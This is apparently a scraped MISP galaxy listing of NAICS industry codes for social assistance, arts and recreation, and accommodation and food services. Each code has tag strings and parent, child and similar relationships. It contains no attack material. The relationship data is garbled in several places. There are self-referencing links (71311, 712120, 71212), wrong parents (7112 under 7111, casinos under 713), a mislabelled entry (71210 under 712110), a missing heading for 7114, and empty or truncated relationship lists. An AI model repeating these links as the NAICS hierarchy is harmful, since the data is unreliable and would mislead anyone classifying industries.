• parent-of: misp-galaxy:naics="623990" with estimative-language:likelihood-probability="likely"

62399

Other Residential Care Facilities

The tag is: misp-galaxy:naics="62399"

View relationships graph

62399 has relationships with:

• child-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="623990" with estimative-language:likelihood-probability="likely"

623990

Other Residential Care Facilities

The tag is: misp-galaxy:naics="623990"

View relationships graph

623990 has relationships with:

• child-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="62399" with estimative-language:likelihood-probability="likely"

624

Social Assistance

The tag is: misp-galaxy:naics="624"
624 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"

6241

Individual and Family Services

The tag is: misp-galaxy:naics="6241"

62411

Child and Youth Services

The tag is: misp-galaxy:naics="62411"

624110

Child and Youth Services

The tag is: misp-galaxy:naics="624110"

624110

Child and Youth Services
The tag is: misp-galaxy:naics="624110"

View relationships graph

624110 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62411" with estimative-language:likelihood-probability="likely"

62412

Services for the Elderly and Persons with Disabilities

The tag is: misp-galaxy:naics="62412"

View relationships graph

62412 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624120" with estimative-language:likelihood-probability="likely"

624120

Services for the Elderly and Persons with Disabilities

The tag is: misp-galaxy:naics="624120"

View relationships graph

624120 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62412" with estimative-language:likelihood-probability="likely"

62419

Other Individual and Family Services

The tag is: misp-galaxy:naics="62419"

View relationships graph

62419 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624190" with estimative-language:likelihood-probability="likely"
624190
Other Individual and Family Services
The tag is: misp-galaxy:naics="624190"

View relationships graph

624190 has relationships with:
- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62419" with estimative-language:likelihood-probability="likely"

6242
Community Food and Housing, and Emergency and Other Relief Services
The tag is: misp-galaxy:naics="6242"

View relationships graph

6242 has relationships with:
- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624230" with estimative-language:likelihood-probability="likely"

62421
Community Food Services
The tag is: misp-galaxy:naics="62421"

View relationships graph

62421 has relationships with:
- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624210" with estimative-language:likelihood-probability="likely"
624210
Community Food Services
The tag is: misp-galaxy:naics="624210"
View relationships graph
624210 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="62421" with estimative-language:likelihood-probability="likely"

62422
Community Housing Services
The tag is: misp-galaxy:naics="62422"
View relationships graph
62422 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

624221
Temporary Shelters
The tag is: misp-galaxy:naics="624221"
View relationships graph
624221 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

624229
Other Community Housing Services
The tag is: misp-galaxy:naics="624229"
View relationships graph
624229 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
62423
Emergency and Other Relief Services
The tag is: misp-galaxy:naics="62423"

View relationships graph
62423 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="624230" with estimative-language:likelihood-probability="likely"

624230
Emergency and Other Relief Services
The tag is: misp-galaxy:naics="624230"

View relationships graph
624230 has relationships with:
  • child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

6243
Vocational Rehabilitation Services
The tag is: misp-galaxy:naics="6243"

View relationships graph
6243 has relationships with:
  • child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="62431" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="624310" with estimative-language:likelihood-probability="likely"

62431
Vocational Rehabilitation Services
The tag is: misp-galaxy:naics="62431"

View relationships graph
62431 has relationships with:

- child-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624310" with estimative-language:likelihood-probability="likely"

**624310**

Vocational Rehabilitation Services

The tag is: misp-galaxy:naics="624310"

View relationships graph

624310 has relationships with:

- child-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62431" with estimative-language:likelihood-probability="likely"

**6244**

Child Care Services

The tag is: misp-galaxy:naics="6244"

View relationships graph

6244 has relationships with:

- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624410" with estimative-language:likelihood-probability="likely"

**62441**

Child Care Services

The tag is: misp-galaxy:naics="62441"

View relationships graph

62441 has relationships with:

- child-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624410" with estimative-language:likelihood-probability="likely"
624410

Child Care Services

The tag is: misp-galaxy:naics="624410"

View relationships graph

624410 has relationships with:

• child-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="62441" with estimative-language:likelihood-probability="likely"

71

Arts, Entertainment, and Recreation

The tag is: misp-galaxy:naics="71"

View relationships graph

71 has relationships with:

• parent-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="712" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"

711

Performing Arts, Spectator Sports, and Related Industries

The tag is: misp-galaxy:naics="711"

View relationships graph

711 has relationships with:

• child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"
Performing Arts Companies

The tag is: misp-galaxy:naics="7111"

View relationships graph

7111 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711190" with estimative-language:likelihood-probability="likely"

Theater Companies and Dinner Theaters

The tag is: misp-galaxy:naics="71111"

View relationships graph

71111 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71110" with estimative-language:likelihood-probability="likely"

Theater Companies and Dinner Theaters

The tag is: misp-galaxy:naics="71110"

View relationships graph

71110 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
71112
Dance Companies
The tag is: misp-galaxy:naics="71112"
View relationships graph
71112 has relationships with:
  • child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="711120" with estimative-language:likelihood-probability="likely"

711120
Dance Companies
The tag is: misp-galaxy:naics="711120"
View relationships graph
711120 has relationships with:
  • child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="71112" with estimative-language:likelihood-probability="likely"

71113
Musical Groups and Artists
The tag is: misp-galaxy:naics="71113"
View relationships graph
71113 has relationships with:
  • child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="711130" with estimative-language:likelihood-probability="likely"

711130
Musical Groups and Artists
The tag is: misp-galaxy:naics="711130"
View relationships graph
711130 has relationships with:
• child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="71113" with estimative-language:likelihood-probability="likely"

71119

Other Performing Arts Companies

The tag is: misp-galaxy:naics="71119"

View relationships graph

71119 has relationships with:

• child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="711190" with estimative-language:likelihood-probability="likely"

711190

Other Performing Arts Companies

The tag is: misp-galaxy:naics="711190"

View relationships graph

711190 has relationships with:

• child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="71119" with estimative-language:likelihood-probability="likely"

7112

Spectator Sports

The tag is: misp-galaxy:naics="7112"

View relationships graph

7112 has relationships with:

• child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="71121" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="711211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="711212" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="711219" with estimative-language:likelihood-probability="likely"
71121
Spectator Sports
The tag is: misp-galaxy:naics="71121"
View relationships graph
71121 has relationships with:
• child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711211
Sports Teams and Clubs
The tag is: misp-galaxy:naics="711211"
View relationships graph
711211 has relationships with:
• child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711212
Racetracks
The tag is: misp-galaxy:naics="711212"
View relationships graph
711212 has relationships with:
• child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711219
Other Spectator Sports
The tag is: misp-galaxy:naics="711219"
View relationships graph
711219 has relationships with:
• child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"
7113
Promoters of Performing Arts, Sports, and Similar Events
The tag is: misp-galaxy:naics="7113"

View relationships graph

7113 has relationships with:

• child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="71131" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="711310" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="71132" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="711320" with estimative-language:likelihood-probability="likely"

71131
Promoters of Performing Arts, Sports, and Similar Events with Facilities
The tag is: misp-galaxy:naics="71131"

View relationships graph

71131 has relationships with:

• child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="711310" with estimative-language:likelihood-probability="likely"

711310
Promoters of Performing Arts, Sports, and Similar Events with Facilities
The tag is: misp-galaxy:naics="711310"

View relationships graph

711310 has relationships with:

• child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="71131" with estimative-language:likelihood-probability="likely"

71132
Promoters of Performing Arts, Sports, and Similar Events without Facilities
The tag is: misp-galaxy:naics="71132"
71132 has relationships with:

- child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711320" with estimative-language:likelihood-probability="likely"

711320
Promoters of Performing Arts, Sports, and Similar Events without Facilities
The tag is: misp-galaxy:naics="711320"

7114 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711410" with estimative-language:likelihood-probability="likely"

71141
Agents and Managers for Artists, Athletes, Entertainers, and Other Public Figures
The tag is: misp-galaxy:naics="71141"
711410
Agents and Managers for Artists, Athletes, Entertainers, and Other Public Figures
The tag is: misp-galaxy:naics="711410"

View relationships graph

711410 has relationships with:
- child-of: misp-galaxy:naics="7114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71141" with estimative-language:likelihood-probability="likely"

7115
Independent Artists, Writers, and Performers
The tag is: misp-galaxy:naics="7115"

View relationships graph

7115 has relationships with:
- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711510" with estimative-language:likelihood-probability="likely"

71151
Independent Artists, Writers, and Performers
The tag is: misp-galaxy:naics="71151"

View relationships graph

71151 has relationships with:
- child-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711510" with estimative-language:likelihood-probability="likely"

711510
Independent Artists, Writers, and Performers
The tag is: misp-galaxy:naics="711510"

View relationships graph
711510 has relationships with:

- child-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71151" with estimative-language:likelihood-probability="likely"

712

Museums, Historical Sites, and Similar Institutions

The tag is: misp-galaxy:naics="712"

View relationships graph

712 has relationships with:

- child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"

7121

Museums, Historical Sites, and Similar Institutions

The tag is: misp-galaxy:naics="7121"

View relationships graph

7121 has relationships with:

- child-of: misp-galaxy:naics="712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712190" with estimative-language:likelihood-probability="likely"

71211

Museums

The tag is: misp-galaxy:naics="71211"

View relationships graph
71211 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712110" with estimative-language:likelihood-probability="likely"

**712110**

Museums

The tag is: misp-galaxy:naics="712110"

View relationships graph

71210 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"

**71212**

Historical Sites

The tag is: misp-galaxy:naics="71212"

View relationships graph

71212 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71212" with estimative-language:likelihood-probability="likely"

**712120**

Historical Sites

The tag is: misp-galaxy:naics="712120"

View relationships graph

712120 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712120" with estimative-language:likelihood-probability="likely"

**71213**

Zoos and Botanical Gardens
The tag is: misp-galaxy:naics="71213"

View relationships graph

71213 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712130" with estimative-language:likelihood-probability="likely"

712130
Zoos and Botanical Gardens

The tag is: misp-galaxy:naics="712130"

View relationships graph

712130 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71213" with estimative-language:likelihood-probability="likely"

71219
Nature Parks and Other Similar Institutions

The tag is: misp-galaxy:naics="71219"

View relationships graph

71219 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712190" with estimative-language:likelihood-probability="likely"

712190
Nature Parks and Other Similar Institutions

The tag is: misp-galaxy:naics="712190"

View relationships graph

712190 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71219" with estimative-language:likelihood-probability="likely"
713
Amusement, Gambling, and Recreation Industries
The tag is: misp-galaxy:naics="713"

View relationships graph

713 has relationships with:

- child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"

7131
Amusement Parks and Arcades
The tag is: misp-galaxy:naics="7131"

View relationships graph

7131 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713120" with estimative-language:likelihood-probability="likely"

71311
Amusement and Theme Parks
The tag is: misp-galaxy:naics="71311"

View relationships graph

71311 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713120" with estimative-language:likelihood-probability="likely"
713110
Amusement and Theme Parks
The tag is: misp-galaxy:naics="713110"

View relationships graph

713110 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71311" with estimative-language:likelihood-probability="likely"

71312
Amusement Arcades
The tag is: misp-galaxy:naics="71312"

View relationships graph

71312 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713120" with estimative-language:likelihood-probability="likely"

713120
Amusement Arcades
The tag is: misp-galaxy:naics="713120"

View relationships graph

713120 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71312" with estimative-language:likelihood-probability="likely"

7132
Gambling Industries
The tag is: misp-galaxy:naics="7132"

View relationships graph

7132 has relationships with:
71321

Casinos (except Casino Hotels)

The tag is: misp-galaxy:naics="71321"

View relationships graph

71321 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713210" with estimative-language:likelihood-probability="likely"

713210

Casinos (except Casino Hotels)

The tag is: misp-galaxy:naics="713210"

View relationships graph

713210 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71321" with estimative-language:likelihood-probability="likely"

71329

Other Gambling Industries

The tag is: misp-galaxy:naics="71329"

View relationships graph

71329 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713290" with estimative-language:likelihood-probability="likely"
713290
Other Gambling Industries
The tag is: `misp-galaxy:naics="713290"`

View relationships graph

713290 has relationships with:

- child-of: `misp-galaxy:naics="713"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="71329"` with estimative-language:likelihood-probability="likely"

7139
Other Amusement and Recreation Industries
The tag is: `misp-galaxy:naics="7139"`

View relationships graph

7139 has relationships with:

- child-of: `misp-galaxy:naics="713"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71391"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713910"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71392"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713920"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71393"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713930"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71394"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713940"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71395"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713950"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="71399"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="713990"` with estimative-language:likelihood-probability="likely"

71391
Golf Courses and Country Clubs
The tag is: `misp-galaxy:naics="71391"`

View relationships graph
71391 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713910" with estimative-language:likelihood-probability="likely"

713910

Golf Courses and Country Clubs

The tag is: misp-galaxy:naics="713910"

View relationships graph

713910 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71391" with estimative-language:likelihood-probability="likely"

71392

Skiing Facilities

The tag is: misp-galaxy:naics="71392"

View relationships graph

71392 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713920" with estimative-language:likelihood-probability="likely"

713920

Skiing Facilities

The tag is: misp-galaxy:naics="713920"

View relationships graph

713920 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71392" with estimative-language:likelihood-probability="likely"

71393

Marinas
The tag is: `misp-galaxy:naics="71393"`

View relationships graph

71393 has relationships with:

- child-of: `misp-galaxy:naics="7139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="713930"` with estimative-language:likelihood-probability="likely"

**713930**

Marinas

The tag is: `misp-galaxy:naics="713930"`

View relationships graph

713930 has relationships with:

- child-of: `misp-galaxy:naics="7139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="71393"` with estimative-language:likelihood-probability="likely"

**71394**

Fitness and Recreational Sports Centers

The tag is: `misp-galaxy:naics="71394"`

View relationships graph

71394 has relationships with:

- child-of: `misp-galaxy:naics="7139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="713940"` with estimative-language:likelihood-probability="likely"

**713940**

Fitness and Recreational Sports Centers

The tag is: `misp-galaxy:naics="713940"`

View relationships graph

713940 has relationships with:

- child-of: `misp-galaxy:naics="7139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="71394"` with estimative-language:likelihood-probability="likely"
71395
Bowling Centers
The tag is: misp-galaxy:naics="71395"
View relationships graph
71395 has relationships with:
  • child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="713950" with estimative-language:likelihood-probability="likely"

713950
Bowling Centers
The tag is: misp-galaxy:naics="713950"
View relationships graph
713950 has relationships with:
  • child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="71395" with estimative-language:likelihood-probability="likely"

71399
All Other Amusement and Recreation Industries
The tag is: misp-galaxy:naics="71399"
View relationships graph
71399 has relationships with:
  • child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="713990" with estimative-language:likelihood-probability="likely"

713990
All Other Amusement and Recreation Industries
The tag is: misp-galaxy:naics="713990"
View relationships graph
713990 has relationships with:
• child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="71399" with estimative-language:likelihood-probability="likely"

72

Accommodation and Food Services

The tag is: misp-galaxy:naics="72"

View relationships graph

72 has relationships with:

• parent-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="722" with estimative-language:likelihood-probability="likely"

721

Accommodation

The tag is: misp-galaxy:naics="721"

View relationships graph

721 has relationships with:

• child-of: misp-galaxy:naics="72" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="7213" with estimative-language:likelihood-probability="likely"

7211

Traveler Accommodation

The tag is: misp-galaxy:naics="7211"

View relationships graph

7211 has relationships with:

• child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="72111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="72110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="72112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="72110" with estimative-language:likelihood-probability="likely"
72111

Hotels (except Casino Hotels) and Motels

The tag is: `misp-galaxy:naics="72111"`

View relationships graph

72111 has relationships with:

- child-of: `misp-galaxy:naics="7211"`
- similar: `misp-galaxy:naics="721110"`

721110

Hotels (except Casino Hotels) and Motels

The tag is: `misp-galaxy:naics="721110"`

View relationships graph

721110 has relationships with:

- child-of: `misp-galaxy:naics="7211"`
- similar: `misp-galaxy:naics="72111"`

72112

Casino Hotels

The tag is: `misp-galaxy:naics="72112"`

View relationships graph

72112 has relationships with:

- child-of: `misp-galaxy:naics="7211"`
- similar: `misp-galaxy:naics="72111"`

721120

Casino Hotels

The tag is: `misp-galaxy:naics="721120"`
721120 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72112" with estimative-language:likelihood-probability="likely"

72119

Other Traveler Accommodation

The tag is: misp-galaxy:naics="72119"

721191

Bed-and-Breakfast Inns

The tag is: misp-galaxy:naics="721191"

721199

All Other Traveler Accommodation

The tag is: misp-galaxy:naics="721199"

7212

RV (Recreational Vehicle) Parks and Recreational Camps

The tag is: misp-galaxy:naics="7212"
7212 has relationships with:

- child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721214" with estimative-language:likelihood-probability="likely"

72121

RV (Recreational Vehicle) Parks and Recreational Camps

The tag is: misp-galaxy:naics="72121"

View relationships graph

72121 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

721211

RV (Recreational Vehicle) Parks and Campgrounds

The tag is: misp-galaxy:naics="721211"

View relationships graph

721211 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

721214

Recreational and Vacation Camps (except Campgrounds)

The tag is: misp-galaxy:naics="721214"

View relationships graph

721214 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

7213

Rooming and Boarding Houses, Dormitories, and Workers’ Camps

The tag is: misp-galaxy:naics="7213"
7213 has relationships with:

- child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721310" with estimative-language:likelihood-probability="likely"

72131
Rooming and Boarding Houses, Dormitories, and Workers’ Camps
The tag is: misp-galaxy:naics="72131"

72131 has relationships with:

- child-of: misp-galaxy:naics="7213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="721310" with estimative-language:likelihood-probability="likely"

721310
Rooming and Boarding Houses, Dormitories, and Workers’ Camps
The tag is: misp-galaxy:naics="721310"

722
Food Services and Drinking Places
The tag is: misp-galaxy:naics="722"

722 has relationships with:

- child-of: misp-galaxy:naics="72" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"
7223
Special Food Services
The tag is: misp-galaxy:naics="7223"
View relationships graph
7223 has relationships with:

- parent-of: misp-galaxy:naics="72231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722330" with estimative-language:likelihood-probability="likely"

72231
Food Service Contractors
The tag is: misp-galaxy:naics="72231"
View relationships graph
72231 has relationships with:

- similar: misp-galaxy:naics="722310" with estimative-language:likelihood-probability="likely"

722310
Food Service Contractors
The tag is: misp-galaxy:naics="722310"
View relationships graph
722310 has relationships with:

- similar: misp-galaxy:naics="72231" with estimative-language:likelihood-probability="likely"
72232
Caterers
The tag is: misp-galaxy:naics="72232"
View relationships graph

72232 has relationships with:
• child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
